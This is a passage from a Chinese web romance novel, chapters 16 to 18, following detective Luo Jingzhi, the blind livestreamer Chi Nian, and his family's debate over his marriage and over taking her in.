自从池国霖被害之后,母亲就走了,她似乎慢慢习惯了现在的日子。
除了洛景之,她再没遇到过对她这么好的异性。
池念停顿片刻,抱着女孩子那独有的坚韧和决心,像是公布一件很重大的事情一样,表情很严肃:“洛景之,谢谢你,等我的眼睛好了,我也会像你照顾我这样去照顾你的。”
“……”
小小的老子,就样子被小小的姑娘捉走了。
洛景之莞尔一笑:“小姑娘老老实实等着点菜吃饭就行了,哪那么多事。”
虽然洛景之说话不好听,但她竟然慢慢习惯了,如今听着他这话,心里全然忘记了那些不开心的事。
“你饿不饿,我出去给你拿点吃的,你先垫垫肚子。”
“我不饿。”
咕咕~~~
额……
刚说完不饿,肚子已经当面提出抗议。
洛景之说:“行了,你再等我一会儿,不介意吧?”
“那就,辛苦你了。”
“知道我辛苦,平时就对我好点。”
对他好点?
池念将这句话悄悄记在心里。
她是该对他好的。
乐队在远处演奏着圆舞曲,各位宾客有在酒宴上进食,也有在大厅会友的,这场宴会办的很是热闹。
洛景之避开了人群,悄悄挑了几块提拉米苏就回来了。
如果不是这样,他恐怕又被人缠住回不来了。
可怕什么来什么。
回去的时候,洛景之被夏槐抓个正着。
夏槐本来吃的开心,看见这熟悉身影就追了出来。
“洛景之?”
他扭头看过去。
“你又把人家小姑娘一个人丢在房间里?你这男朋友当得还真的是不靠谱……”
“……”
“池念小公主是怎么看上你的?”她突然想起之前自己的揣测,“该不会真的是你纠缠人家吧?”
“……”
“洛景之啊洛景之……”
“我突然想起来——”
夏槐:“?”
“延之好像跟我提过一嘴他女朋友的事,两人关系应该还不错?”
夏槐黑脸:“……”
刚才到嘴边的话再没敢说。
她这辈子很少受制于人,他洛景之是个例外。
尤其是看着洛景之得意洋洋的嘴脸潇洒离去,她就有种吃瘪又说不出的滋味。
算了,谁让她喜欢洛延之呢。
-
洛家三楼的房间里安静又神秘,房间门半掩着,屋内通过门缝透出些许光亮,里面的对话声隐约得以听见。
年迈沧桑的手指有力无力的敲打着桌面,另一只手还握着一只拐杖,整个人庄严的坐在书桌前的正椅上。
两人沉默片刻,一个声音打破这份死亡般的寂静。
“爹,您看景之好容易有了自己喜欢的姑娘,他既然喜欢,我倒觉得,我们可以试试去了解一下这个女孩。”
说话的男人就是洛明诚。
自从知道了池念是池国霖的女儿后,他也就对她改观。
不论这女孩是什么品行,看在池国霖从前对他的帮助上,他都必须要好好对待他的女儿。
坐在正椅上的老人留着长白胡须,脸上瘦下来的皮囊压的眼睛有些下垂,整个人看上去瘦瘦小小的,但自身散发出来的威严却不容小觑。
而根据洛明诚刚才的称呼来看,不难猜出,此人便是他的父亲,洛正祥。
也就是此次宴会的主人公。
洛明诚的话引起他的不悦,罗正祥作为家里最庄严的存在,他的话是最有决定性的。
仅仅是一个表情,便也引得洛明诚认真对待。
老人庄严肃穆:“我倒是觉得,夏董事长的女儿夏槐倒是挺不错,虽然偶尔也会有些任性,但毕竟是娇生惯养的生活,跟
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景之还是很般配的。”
“我们跟夏家的关系也不错,可以亲上加亲。”
洛正祥的话引得洛明诚的深思。
他不是没有考虑过这个问题,谁不想让自己的儿子有个好的前程。
在他们的认知中,一个人的前程固然重要,但也不能输在起跑线上。
在开始的政治联姻上,他们不能让洛景之输。
可是当洛明诚知道池念是池国霖的女儿时,他不得不为她考虑。
洛景之喜欢她,他还能拒绝不成。
他比任何人都知道池国霖对洛景之的影响有多大。
此刻,他也无比纠结。
但他内心似乎不受控制的想要为池念说话。
洛明诚深思道:“夏槐虽然和景之很般配,但他似乎不太喜欢夏槐,他们从小就认识,认识这么多年,应该没有那种感情……”
“就是因为认识那么多年他们才彼此了解,也知根知底,现在不喜欢不代表以后不喜欢。”洛正祥说,“我明白你的意思,感情这种事谁也勉强不来,但不试试怎么知道。”
“你没事请夏董事长吃个饭,暂时不要透露这个意思,如果景之强烈反对,我们也好说得过去。”
“好。”
家族企业下的感情更多都是利益,真心甚少。
寥寥几句便将洛景之的婚姻说了个大概。
洛明诚即便心是向着洛景之,但面对洛正祥的强烈要求,他是不敢反抗的。
洛正祥忽而想起:“景之宴会上带来的那个小姑娘,好好调查一下底细。”
他命令似的语气,而后又不知想到什么,老爷子又补充道:“如果身份地位般配,景之喜欢就随他吧。”
“知道了爹。”
见洛正祥这样说,他也知道希望不大。
池念的家世他比任何人都了解,以她现在的身份根本不会进的来洛家的门,老爷子也不会同意洛景之娶一个这样的姑娘。
而且,眼睛还看不见。
洛正祥忽而又想到什么,问:“怎么之前没听你说起过,景之有喜欢的姑娘,要是早知道,我们也好早点去查一查,也就不用这么费劲心思的去借助我的生日宴会来给他安排这场相亲了。”
“这个,我也不太清楚。”洛明诚说,“他这段时间都没空回来家里,您也看到了,他为了自由,对我们隐瞒了不少事,这点确实不知道。”
“你这父亲怎么当的?”洛正祥说,“我知道晓兰对延之寄予厚望,什么事都处处偏向他,这些你可以不管,但我总要弥补这孩子些什么。”
“是,您的意思我明白。”
“既然明白,就多对景之加些关照,这孩子有自己的主见,遇事不要来硬的。”
“儿子知道了。”
他思索再三,洛明诚还是觉得应该把事情告诉他:“还有件事,景之喜欢的那个盲眼小姑娘,其实是池国霖的女儿。”
“……”
“你是说,景之小时候的那个警察老师?”
“是。”
“看来还真是缘分。”他原本是不信这些,可嘴里说出“缘分”两字时,又觉得很讽刺。
“把事情调查清楚,尤其是这女孩是怎么和景之认识的。”
“知道了。”
洛明诚犹豫再三,心中对池国霖的死仍旧觉得不忍。
他们多年的好友,他总是想帮一帮他。
谁都知道,洛明诚不是一个好说话的人,对于他们有经营头脑的人来说,最会见人下菜碟。
老爷子把玩着手里的文玩核桃,话题至此,见他还不离去,便问:“还有事?”
洛明诚坐在旁边的沙发上缓缓开口:“我打算,把那女孩接来咱们家住,等她眼睛恢复了,可以生活自理了,再让她靠工作来养活自己。”
此话一出,洛正祥也猜到几分:“你是为了池国霖。”
他和池国霖的友情他也看在眼里。
洛明诚默认,没有说话。
“我知道你们之间的关系非比寻常,当年他被害的事情已经让你花了很多时间精力了,你也找了他的女儿很久,可这件事始终在你心里留着一个悬念。”
他又说:“如果你还是坚持想替池国霖照顾这个女孩,那就按照你的意思办吧。”
洛正祥也知道,池国霖被害的事情已经过去这么久了,他心里始终觉得该为他做些什么。
当年他派人去找池国霖的女儿时,已经被告知和亲人一起去乡下生活了。
等到再去找她时,姑娘已经和奶奶幸福的生活在一起,日子很安逸,他也没再打扰,偶尔会匿名给她们寄过去一些钱,但都被如数还了回来。
“也好,把那小姑娘接过来住,她是景之的女朋友,这样一来,景之也会回家频繁些。”洛正祥说“你记住,我们商人,从不做亏本的买卖。”
“……”
“办完这件事,你心里也能给自己一个交代。”
“嗯。”
16. 16
次日。
洛景之还没睡醒,就接到了一通“骚扰”电话。
电话那头的姑娘精神气十足,似是早就盘算着事情:“洛景之!你答应我要帮我这个忙的!你不能反悔!”
洛景之被她吵了没了睡意,不耐烦的将手机丢去一旁。
然而手机里的声音还在不断说着:“洛景之,你没忘吧?求你了,能不能帮我打听一下啊?!”
“……”
十分钟后。
洛景之见对方没了动静,这才眯着眼睛慵懒的回复:“夏槐,你说完了没?”
“我求你了……”
“停!”他被折磨的够呛,“我记得呢。”
“太好了,那你今天过去问问吧。”
“……”
“哎呀你知道的,我真的等不及了嘛。”
“……”
他还真没见过这么脸皮厚的女人。
但答应夏槐的这件事他有点挺为难,当初果断答应的时候干嘛去了?
洛景之有些后悔,但事情都答应了,也属实不好反悔,只能硬着头皮去。
早上他挂了电话后翻来覆去睡不着,于是爬起来开始准备早餐。
随手做了两个三明治,又热了杯牛奶。
最后在手机里给池念发去一条消息:早餐在我家桌子上,醒了过去吃。我有事出去一趟,不用等我。
家里的密码他早就告诉了她,方便她过来吃饭。
办完这些,洛景之开车回了洛家。
洛家的宅子是座小别墅,之所以没要座更大的别墅楼层,主要是因为老爷子不爱住那么豪阔的屋子,甚至为了洛正祥的喜好,周边还特地开发出一处花园,供老人安逸赏赏花草。
洛景之进门看到满园的芍药开的鲜艳,他突然想起洛正祥曾经说的,芍药是药材,对身体有好处。
额……
看来这些芍药都是洛正祥种植的。
他没在意,径直走上楼,走到二楼时正巧遇到洛明诚出门,他心里顿感点背。
虽说别墅楼层不高,但占地面积很大,少说也得七八间平房累积盖起了三层。
如果不是刻意去找人,很难在这样的房子里遇到。
而他,每次都能遇到洛明诚。
洛景之心里抵触的很。
他双手戳着裤兜,想擦肩而过。
不料被他叫住:“站住。”
洛景之脚步一停。
“就是因为不同意你那个小女朋友,现在连爹都不认了?”
洛景之转身,盯了几秒后,脱口而出:“爹。”
“……”
对方这句还真的是让他哭笑不得。
洛明诚耐着性子问:“你这次回来是想干什么?”
“找洛延之。”
“找他做什么。”
“这是我的私事,您就不用知道了。”
他一向讨厌对方问三问四,一点自己的空间都没有。
洛明诚不依不饶,斥责道:“私事?你的私事如果涉及到你的未来我也要管。”
这是洛景之讨厌父亲的第二点,问清楚后就该加入自己的想法强制性去插手别人的事。
他长时间受不了这样的压迫,所以才选择在外工作很少回家。
“您还是先管好洛延之吧,我的事就不用您操心了。”
说罢他正要走,又突然被对方叫住。
“你等等。我有事跟你谈谈。”洛明诚的态度反倒温和许多。
这让一向方案和他谈谈的洛景之也不再那样抗拒。
他一脸好奇的看向他。
洛明诚说:“跟我过来。”
“不用了,就在这儿说吧,我还有别的事。”
“……”
他不愿跟他走,他也没强求:“好吧。”
“我昨天跟你爷爷商量,我打算把你那小女朋友接到我们家来住段时间。”
“?”
这话确实是洛景之没想到的。
当初他故意告诉洛明诚池念是池国霖的女儿,目的就是为了引起他的同情心,因为洛景之也知道,凭借他和池国霖的交情,洛明诚是不会不管池念的。
可他以为,洛明诚顶多是给池念些钱,或者找几个人照顾她。
怎么也没想到,他会将池念接过来住。
洛明诚心里总是留有遗憾:“当初事发的时候,我也派人找过她,既然她回到了这个城市,为了你池老师,爸爸怎么也得照顾好他的女儿。”
“这件事你们决定了,我还得问问池念的意思,如果她愿意过来,我会陪她一起搬过来,如果她不愿意……”
洛景之顾虑道:“希望您不要像逼迫我一样去强迫她。”
洛明诚的性子他这个做儿子怎么会不知道。
他最擅长的就是逼迫别人成为他想要让他成为的模样。
但他不希望池念这样。
他喜欢的姑娘,就该活成自己的模样。
洛明诚听到他这样说,内心五味杂陈,他只是和寻常父亲一样望子成龙,不知道到底哪里做错了。
他说:“嗯。”
洛明诚这样的态度便已经是服软了。
为了能让洛景之回家次数多些,他还真得服个软。
“还有别的事吗?”
洛明诚不干了:“你这是跟你老子说话的态度?”
“爹,还有别的事吗?”
“……”
洛景之还有别的事,不想在这儿浪费时间。
当然是洛明诚说什么就是什么,他都顺着。
对方不耐烦的催促他:“走吧走吧。赶紧走!”
“不想看见我我还不想看见你呢,走走走。”
洛景之抓住机会赶紧开溜。
穿过长廊,他才找到洛延之的房间,可敲了半天门也不见有人。
他也不好硬闯进去。
正巧一位上楼收拾的保洁阿姨走来,他礼貌问:“阿姨,洛延之不在家吗?”
对方认真打量他:“你是洛景之洛先生吧?”
“是我。”
保洁阿姨热情道:“还好我看过您的照片,还能认得出您来,您不常回家也不知道,小少爷的房间搬去了三楼最东边的房间了,说是三楼没人住,还比较安静些。”
“好,谢谢您。”
看来他确实很久没回来了,很多事都发生了变化。
他按照保洁的意思找去三楼,敲门的那刻,他还不断给自己做心理建设,以为应该不会有那么困难。
直到开门时对方说“进来”。
洛延之那张稚嫩的脸,在看到来人是他的时候转变为惊喜:“哥?!你怎么来了,快进来
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。”
“延之。”
洛延之原本正在看书,被一个声音打断,他转头一看,竟然是洛景之。
这让他觉得意外,即刻扔掉手里的书从床上坐起来。
要知道,洛景之可是极少会主动来找他的。
因为母亲的偏爱,他们亲兄弟已经产生了隔阂。
“哥,你先进来。”他有些惊喜,手忙脚乱的收拾,“那个,你等下,我把这些书收拾一下。”
慌张的动作已经格外体现出在知道来人后自己紧张而又激动的心情。
洛景之从不进他房间,也很少跟他亲近。
所以这些年洛延之一直在拼命的接近他,想维护拉进这段兄弟情。
他说:“不用,我就待一会儿,想问你件事。”
但总是被洛景之这样刻意保持着距离。
听他这样说,洛延之将书收起来放到桌子上,随后和他对立而坐:“你问,什么事哥?”
看着对自己到来这么喜出望外的弟弟,他忽然觉得那天对他说的话有些重了。
或许他不该将那些事告诉他。
洛景之犹豫不决,几次话到嘴边都被他咽了回去。
但答应夏槐的事又不得不做。
“怎么了?没事哥,你有什么事直接说,只要我能帮上忙的一定帮。”洛延之开心的像个孩子。
他最引以为傲的就是自己的哥哥,但哥哥总是不喜欢他这个弟弟,所以他就只好拼命的追,可怎么也追不上。
如今面对洛景之的主动求帮忙,他当然会力所能及。
洛景之本就是有目的而来,可想到那个问题就觉得有些为难。
回想那天夏槐提出的要求……
宴会楼上的房间里。
夏槐不怀好意的跟他交谈:“我们做个交易!”
洛景之半信半疑的看着她,似乎满眼都是对她的不信任。
“你帮我个忙,帮我去问问,或者去打听也行,问出洛延之现在有没有女朋友。”
洛景之不想掺和这些:“这种事你怎么不自己去问?”
“我这不是要面子嘛,求你了求你了。”她故作可怜,“况且,如果真是我去问了,他未必会告诉我实情。”
“帮不了。”他果断拒绝。
“哎哎哎,你别啊,这件事只有你能办到,我之前也找人问了,但是别人都不清楚,你是他亲哥,他肯定不会对你撒谎的。”
夏槐一脸委屈以及那可怜巴巴的小眼神:“求你了,哥哥。”
“……”
从小到大,他已经见惯了这姑娘所有的撒娇技能。
他趁机会打听:“所以你今天来这儿,是为了洛延之?”
“那肯定啊。”她大方承认。
“你喜欢延之?”
“昂。”她还觉得挺骄傲,“我以为你一直都知道,毕竟我那么明显的接近他,嘿嘿。”
这还真是脸皮厚的一点都不掩饰……
回忆结束。
答应的时候那么简单,事情办起来怎么就那么难。
洛延之给他倒了杯水,端到他面前:“先喝点水。”
“我想问……”洛景之为难的开口:“问,你现在……”
对方认真听着:“嗯?”
“现在有没有女朋友。”
“……”
17. 17
洛延之听到的时候起初还不敢相信,不敢相信哥哥竟然也会问出这样的问题。
他以为的洛景之总是不食人间烟火的,喜别人所不喜,专注做自己喜欢的事情,什么事都会很厉害。
“我其实就是想问问,你有没有女朋友。”洛景之也是豁出去了。
洛延之认真思索着,而后给出答案:“我没有女朋友。”
“真的?”
“嗯,但是我有喜欢的女孩。”
还没来得及高兴,又听到这样的消息。
洛景之又陷入两难,他该怎么和夏槐说。
这个结果,说了,她大概率可能会伤心。
“你喜欢的女孩应该不差。”洛景之继续说着。
提到喜欢的女孩,他就像是个小朋友,脸上难以掩饰的笑容,简直就是初恋的奶狗。
他还只是一个大学生,没有步入社会,也不知道社会的险恶,喜欢一个人,就会像现在这样满脑子都是这个女孩。
“嗯,她很好,她跟我是同一所大学,也帮了我很多次,她叫宁曼曼,心地很善良,有机会我介绍你们认识。”
“好,你能找到自己喜欢的姑娘,我也替你开心。”
“谢谢哥。”
“那,你还记不记得夏槐?”他不知怎的,还是想替夏槐争取一下,“你对她可能没什么印象,她应该也是和你在一所大学,就是昨天宴会上夏董事长的女儿。”
“我知道,她在学校表现很优异,每年的奖学金我是第一,她是第二。”
洛延之觉得奇怪:“你怎么提起她来了?”
“你觉得她怎么样?”
“什么怎么样?”
“就是对她的印象……”
洛延之挠挠头,为难道:“我跟她不是很熟,小时候咱们一起玩过,长大就没什么印象了,如果不是大学里碰到,应该就没有交集了吧,谈不上印象。”
完蛋了,肯定没戏了。
洛景之还以为她已经和洛延之重新认识了,闹了半天自己还没出手,先找他问问情况。
但现在看,她是没什么希望。
洛延之岔开话题:“哥,咱们别说这些了,你好不容易来一趟,能不能帮我解个难题?”
“嗯,可以。”
“稍等我。”
他着急的去翻找自己先前搞不懂的题目。
翻找时,刚刚整理好的桌面被他又弄乱,洛景之看他翻乱的书籍里,有本犯罪心理学类的,他忍不住拿起来观摩。
洛延之大学学的是经济,也是洛明诚替他做的决定。
无非也就是望子成龙那套说词。
可是他不太懂,既然学经济,怎么会看法学类的书。
很快,洛延之翻到对应的题目:“哥,就是这个。你帮我看看。”
“延之,你还看犯罪心理的书?”
“平常没事的时候就看看。”
“喜欢?”
“说不上喜欢,但也不讨厌。”他又说,“主要是,哥不也在看嘛。”
这话,让他反应过来。
是啊,他当然要看,他的大学专业他必须要看。
毕业工作了,为了方便侦查他也必须要看。
只是没想到。
洛延之看这些的原因竟然是……
哥在看。
他喜欢这本书的原因是因为哥哥也喜欢。
洛延之已经将自己的爱好和他建立了联系。
洛景之只是没想到,自己平常不怎么回家,对弟弟的影响很少。
但他对自己这个哥哥似乎很崇敬。
但被他催促着去看那道不解的题目时,竟然也是有关犯罪方面的问题。
他毕业出去工作的时候,还没有发现延之会喜欢这些东西。
洛景之难得来一趟,他很有耐心的去给他解释这些关键点,细致入微。
而洛延之也听的认真,丝毫不敢走神。
直到这道题讲完,门口的保姆端着切好的西瓜上来:“景之,延之,来吃点水果。”
洛延之看她进来的很及时,忍不住问:“您刚才就在吗张姨?”
“我上来一会儿了,刚才看你们说的认真,就没有打扰。”张姨说,“休息休息,吃点西瓜。”
张姨也是洛家的老人了,也是看着他们兄弟俩长大的。
对他们更是想自己的孩子一般。
见洛景之回来,她心里也是感到高兴。
洛景之接过她手里的果盘:“您也吃。”
“很久都没有见你了景之,昨天老爷子生日宴我也忙的不可开交,也没看着你。”
“昨天人多,我也没待很久。”
他笑着,而后还是问起自己的另一个亲人:“我妈最近还好吗?”
“好好好,都好,如果夫人知道你回来一定也会很开心的。”
“会吗?”
“当然会啊,哪个母亲不想念自己的孩子呢?”
洛景之下意识看了看洛延之。
大概,秦晓兰想念的是她的小儿子吧。
过了这么久了,他早就不在乎了。
他刻意避开这个话题。
张姨喜笑颜开:“夫人这几天去美容院多些,平常不怎么在家,可惜你难得回家一次。我要不要去通知洛先生。”
洛景之说:“不用了,他知道我来。”
他手里被递过来的西瓜晾了很久,还是不想吃。
最后又放回到果盘里。
洛景之站起身欲要走:“我就不多待了,你们吃吧,我先走了。”
两人觉得时间挺突然。
“哥。”洛延之叫住他,“你不去看看爷爷吗?”
“……”
“他老人家昨天还跟我念叨,昨天在宴会上看到你,他说你瘦了,也变黑了,总是担心你吃不饱,也不敢给你打电话,怕打扰到你工作。”
洛正祥从心里是疼爱他们俩的。
都是自己的孙子,对谁都很公平。
昨天他没有多待,也只是和其他人一起送出祝福后就带着池念离开了,今天来了,也该去瞧瞧他老人家。
“我去见见爷爷,你好好琢磨一下我刚才跟你说的。”
洛延之欣喜道:“好。”
听说他要研究什么,张姨也识趣的跟洛景之出了房间。
张姨是他们家的保姆,在洛家待了十几年了,之所以这么久,也是因为张姨有边界感,做事有分寸,办事很靠谱。
还没下楼梯,洛景之就
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有个心中的疑问想要问她。
“张姨,我记得延之不太爱看犯罪方面的书籍,现在怎么突然就喜欢了?”他不解。
洛景之知道,这件事,张姨会知道。
“哎?你不知道啊,我以为你会知道原因的。”张姨继续说,“延之说,他有个很厉害的哥哥,是一名人人敬仰的警察,他尊敬你,崇拜你。”
“他还说什么了。”
张姨苦口婆心道:“其实这么多年,他也不是没有心的人,他一直知道你是刻意躲着他。”
“又因为长时间不接触,他担心跟你没有共同话题,所以就想看些你感兴趣的书,或者做一些跟你生活有关的事情,说是这样关系才能更近一步。”
张姨笑着,这个笑容很慈祥。
洛景之相信她说的话。
“不止这些呢,他还会看一些有关的电视,然后去研究里面困惑的问题,等你来的时候,他才可以去向你探讨探讨。”
“……”
所以,他才会借着那个不会的题目和他靠近。
洛延之一直都拿他当榜样,一直都在向他学习。
张姨叹口气,也是替他们兄弟二人觉得遗憾:“其实他总觉得是自己做错了什么,所以才被你疏远。”
“孩子,手足兄弟是打断骨头还连着筋的血缘关系,没有什么事是不能解决的,说开了,笑一笑就过去了,如果要是把事情记在心里,最后烦心的就只会是自己。”
“如果事情的好坏已经不能更改了,那我们可以试着去改变自己,改变一下自己看待世界的认知,或许会发现,这个世界其实对谁都是公平的。”
洛景之思考着她说的话,这些话很有深意,他一时半会参会不透。
“对谁都是公平的吗……”
真的是吗……
“是啊孩子,有些事情你看上去很糟糕,或许换个角度想,就不一定会是一件坏事。”
洛景之心里知道,张姨说的这些是在开导他。
如果不这样想,或许最后受伤的只能是自己。
他为什么会那么排斥这个家。
是因为小时候心里受了伤吗?
洛景之啊洛景之,你那么讨厌这个家,如果池念同意了搬过来住,你真的会陪她一起过来吗?
他心里其实早就有了答案。
他会。
是啊,相比起心里爱着的人和事来说,他会选择对他来说更重要的一方。
“张姨,我明白了。”他似乎真的看懂了什么,“这件事当中,延之是无辜的。”
在这个没有人情味的家里,洛延之是无辜的。
“你该好好珍惜你身边的人,相比纠结好与坏来说,至少你还拥有过。”张姨笑着解答他心里的疑惑,“孩子,有些事情需要你用一辈子去参悟,但只有一点,要珍惜眼前人,这个‘人’,是指所有人。”
洛景之半蒙半懂的说:“谢谢您张姨,我会好好去思考您说的话的。”
至少他懂了一部分。
无论这个家是好是坏,他都不该牵连无辜的人。
洛延之拼命向他靠近,而他总是陷在过去不好的伤痛中将人推得远远地,可从头到尾都不是他的错。
他那个时候也什么都不懂。
18. 18
洛正祥的书房里各种珍贵的宝物,书架上的名贵书籍更是数不胜数。
他喜欢收集那些古老玩意儿,不卖钱,就喜欢摆着欣赏。
这就是有钱人家的乐趣。
洛景之来的时候敲敲房门,听到允许后他才开门进去。
这是他们家的规矩。
“爷爷。”他叫了声。
他进去的时候,洛正祥正拿着放大镜在书籍里寻找什么,但找了许久都没找到。
听到他的声音后才转移了注意力:“来了,坐下吧。”
“您知道我来?”
“你爸跟我说了。”他说,“昨天匆匆见了你一面你就走了,也不想我这个老头子?”
“您知道,我没有这个意思。”
洛景之和洛正祥说话很自然,没有洛明诚和他对话时的小心模样。
洛景之从小就和爷爷亲近,这些年秦晓兰对洛延之的偏爱他也都看在眼里。
每次洛正祥都会悄悄地去弥补他一些东西,安慰他幼时伤痛的童年。
所以,他从不抗拒洛正祥。
洛正祥问放下手里的放大镜看向他:“你打算什么时候把那个小姑娘接过来住?”
“还没确定,我得看看人家愿不愿意过来。”
“她还不愿意?”
“我还没跟人家说。”
“本来我是打算撮合你和夏董事长的女儿交往,既然你有了女朋友,你自己也喜欢,我们也不是不近人情的,最重要的是你自己喜欢。”他又说,“过段时间,把人带回来吃个饭。如果她同意搬过来住,你就帮忙弄弄行李什么的,不是说眼睛看不见?别叫人小姑娘一个人忙活。”
听他这话里意思,似乎没有那么反对池念。
洛景之听的出来,洛正祥对池念挺有好感。
而他之所以这么说,只是想亲自试探试探这个女孩,如果是真的喜欢,那他作为长辈也一定是爱屋及乌。
“知道了爷爷。”
洛景之的心情还不错。
这也是他为什么愿意和洛正祥亲近的原因。
仅听这段话的意思,就已经给了他尊重。
但换做是洛明诚,他只会强加命令给他。
“把那棋盘拿出来,你很久都没有跟我下过棋了。”洛正祥指挥道,“在那右边第一个抽屉里。”
洛景之起身去翻找:“行。”
-
下午。
洛景之回来的时候去找了池念,敲了好半天的房门一直没有人回应,他担心她出事,便只好自己开门进去。
两人互相照顾,也就相互给了彼此自己房子的钥匙,必要时可以救场。
正当他脑海中窜出个不好的想法时,他快速冲进房间。
打开房门,一个骨架小巧的女孩正坐在桌前说着什么,动人悦耳的声音很温柔。
她头上带着耳机,手机屏幕上还有一行行的字幕滑过。
洛景之这才反应过来,她在直播。
可是,他记得池念告诉过他,说她是睡前故事主播,可现在也没到晚上啊?
洛景之站在房间门口站了好一会儿,她的声音一直都很好听,做主播确实很适合。
他远远的观望认真工作的她,那模样很是动人。
“远处的小兔子想出门玩耍,兔子妈妈嘱咐她说,不要到危险的地方去玩哦,小兔子开心的答应了……”
洛景之一时看的入神。
后来才反应过来,她是靠着屏幕朗读器才按照电脑文档中的文字读出来的故事。
要知道,她所受到的阻碍要比寻常人多得多。
看到这儿,洛景之不免对她的欣赏中多了几分敬佩。
他不知道池念要播多久,只能暂时先在客厅等着。
等待期间,他突然有个很好的主意。
洛景之掏出手机,打开他们侦查小组的微信群,他这几天都没怎么看,直接将微信群屏蔽了。
他走到池念直播的那个房间,悄悄拍了张照片,将照片放大,很清楚显示出她的直播软件、ID等内容。
洛景之偷偷下载到这个软件,注册一个ID,名称叫:想念。
池念的直播,就这样被他水灵灵的分享到微信群里。
洛景之:【辛苦各位,给捧捧场。】
林南:【什么情况?】
张三:【我也想知道什么情况,我去,老大分享了一个无关广告?】
洛景之:【……】
洛景之:【这是语音直播!】
这怎么就是广告了?!
张三:【行行行,你给我分享干嘛呀老大,我们又不是小孩子,不需要睡前故事。】
洛景之:【张三你是不是脑抽?我现在怀疑哪吒抽龙筋的时候把你的脑筋一起抽走了。】
张三:【……】
林南:【几天不见,洛队骂人的词汇又更上一层楼了。】
陈佳佳:【你是想让我们帮这主播拉拉票?】
洛景之:【嗯。你们给捧个场就行,顺带拉个票也可以。】
张三:【老大,你咋还学会绿茶套路了呢?】
洛景之:【你闭嘴。】
张三:【拉票拉票!!!】
洛景之无意点开朋友圈,已经看到张三已经转发了朋友圈。
张三转发了那个直播,配文:路过的都给点个赞啊!温柔动听,超级适合给宝宝听的睡前故事哦~~~
“这小子,话不少,动作倒是挺快的。”洛景之自言自语道。
张启明:【哟,还真不像你啊,一向高冷傲娇的洛队竟然会转发这种直播?】
张启明:【这该不会是你喜欢的女孩吧?】
洛景之:【……】
张三:【对哎对哎,老大有好感的那个姑娘眼睛看不见,这场主播又是声音主播,该不会是那个盲眼小姑娘吧?】
洛景之:【你怎么知道?!】
张三:【你别忘了我们是干什么的。】
洛景之:【……】
现在已经被他们扒拉出来了,他反倒不想隐瞒了。
毕竟,如果追喜欢的人的话,谁还会要脸呢?
洛景之:【我喜欢她,但是还不知道人家会不会喜欢我,兄弟们,帮忙支个招,怎么样能讨女孩喜欢。】
张三:【卧槽卧槽!!!】
洛景之:【别爆脏话。】
林南:【卧槽卧槽!!!】
洛景之:【……】
瞬间,群里现在已经炸开了锅。
各种消息不断,洛景之没再看下去,因为都是些八卦和没用的消息。
随后他扒拉朋友圈,群里的其他人也相继转发了那条直播。
他闲来无事注意着,池念直播间的人数也飞快上涨,包括点赞量和关注度。
睡前故事的受众群很大,所有孕妇以及出生的宝妈都可以收听。
这样的播放量也算是帮助到了她。
只不过,拉票这样的事,还真是他第一次做。
洛景之一直关注池念的直播,直到微信群的提示声停止,他才再次点开微信。
张三:【怎么追女生,送她花,最好是玫瑰花!】
林南:【俗气不?】
张三:【现在女生不都喜欢这种吗?】
林南:【但是!人家看不见。】
张三:【忘记这茬了。】
林南:【照我说,应该关心她照顾她,带她去吃好吃的。】
张三:【你以为人家是吃货?】
陈佳佳:【行了,你俩还是别说话了,让结婚的人说!】
看到这儿,洛景之感叹,终于有个明白人了。
可目前他们的群里,结了婚的只有一个人。
那就是张启明。
张三:【对哦,老张,出来说句话。】
林南:【老张老张。】
张启明:【我是结婚不假,但是……】
张三:【但是什么,赶紧给老大出个招。】
林南:【就是,你终于派上用场了老张。】
张启明:【我老婆追的我。】
三人:【……】
张三:【老大,我只能帮你到这儿了。】
林南:【metoo,我们上面的建议你看着采用吧。】
洛景之:“……”
这才是妥妥的猪队友,关键时候一个都派不上用场。
消息停在此处,
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洛景之拿他们几个也是无语了。
查看消息的时候,他没注意到逐渐向他靠近的身影,她步子轻盈,洛景之看消息认真,丝毫没注意到走向他的姑娘。
池念轻声道:“洛景之,是你吗?”
听闻声音,他才注意到眼前的姑娘:“是我,我打扰到你了吗?”
她摇头:“没有,我结束这场直播了,听见声音就出来看看。”
“我记得你是晚上直播,怎么现在也直播呢?”
“奶奶住院的费用我承担不起,所以就只能加大工作量来努力挣钱。”
洛景之表情凝固:“我记得奶奶的住院费不是已经交了吗?你不用这么着急。”
“你怎么知道住院费已经交了?”池念下意识问,她记得她没有说过。
“……”
洛景之察觉到自己说漏嘴了,赶紧找补:“你不知道,之前你不在的时候,我听一位护士说起过。”
“这样啊。”
“住院费都已经交了,你怎么还这么拼命。”
池念微笑道:“虽然已经交了,但那是别人的钱,只是这位好心人暂时帮我交了,以后挣了钱还是要还给人家的。”
“而且,奶奶除了住院,还有其他一些药物费也是需要我努力直播才能达到的金额。”她说话声逐渐没了底气,“在这方面,可能有些困难。”
他还没说话,小姑娘自己给自己打气,又说:“不过我经历过更惨的事情,没有什么是比那件事更难让人接受的,我不会就这么认输的。”
洛景之到今天才发现,他没见过的池念还有很多面。
可每一面都会让他眼前焕然一新。
“好,你需要什么,我全力帮你。”他会成为她努力的后盾。
洛景之牵着她坐下来:“池念,我跟你说件事,想问问你愿不愿意。”
“什么事?”
“你的身份我告诉了我爸,他和池老师是很好的朋友,听说了你的事情后,他想把你接去洛家生活。”他说完这些后,眼神中满是对她答案的渴望,“当年他也派人找过你,后来听说你跟着奶奶一起去了乡下,在那边过的很安逸,就没有再去找你。”
洛景之说:“现在他想,作为池老师的好友,他只想弥补你一些。”
“你,愿意吗?”
问出最后这句话时,洛景之不得不承认,他很紧张。
等待的时间他觉得无比漫长。
池念先是愣住,似是对他说的话在进行一个吸收。
她和林霞一起生活了那么久,突然要去别人家生活,她会不会不适应,林霞又怎么样生活呢。
这个消息对她来说很突然。
片刻,她拖着微弱的声音奶声道:“这件事发生的很突然,我还没有想过,你给我时间考虑考虑可以吗?”
“可以,你想怎么样都可以,不用管我。”洛景之说。
“无论你做什么选择,我都会尊重。”
看到洛景之的态度,她心中的压迫感也缓解几分。
“洛景之,谢谢你。”
他痞痞的说:“这话你都说了多少遍了?跟我还这么客气,你这样会让我以为……”
“你在欲擒故纵。”
池念:“……”
最近夏槐给洛景之打电话比较勤,一直催促他去办那件事。
可问出结果后,他并没有立即给她回过去电话。
只是,还没想好怎么说。
直到夏槐再次给他打过电话来。
对方没心没肺,似是没有任何烦恼:“洛景之,你问了没?他有没有女朋友?”
“没有。”
他又说:“但是他有喜欢的人。”
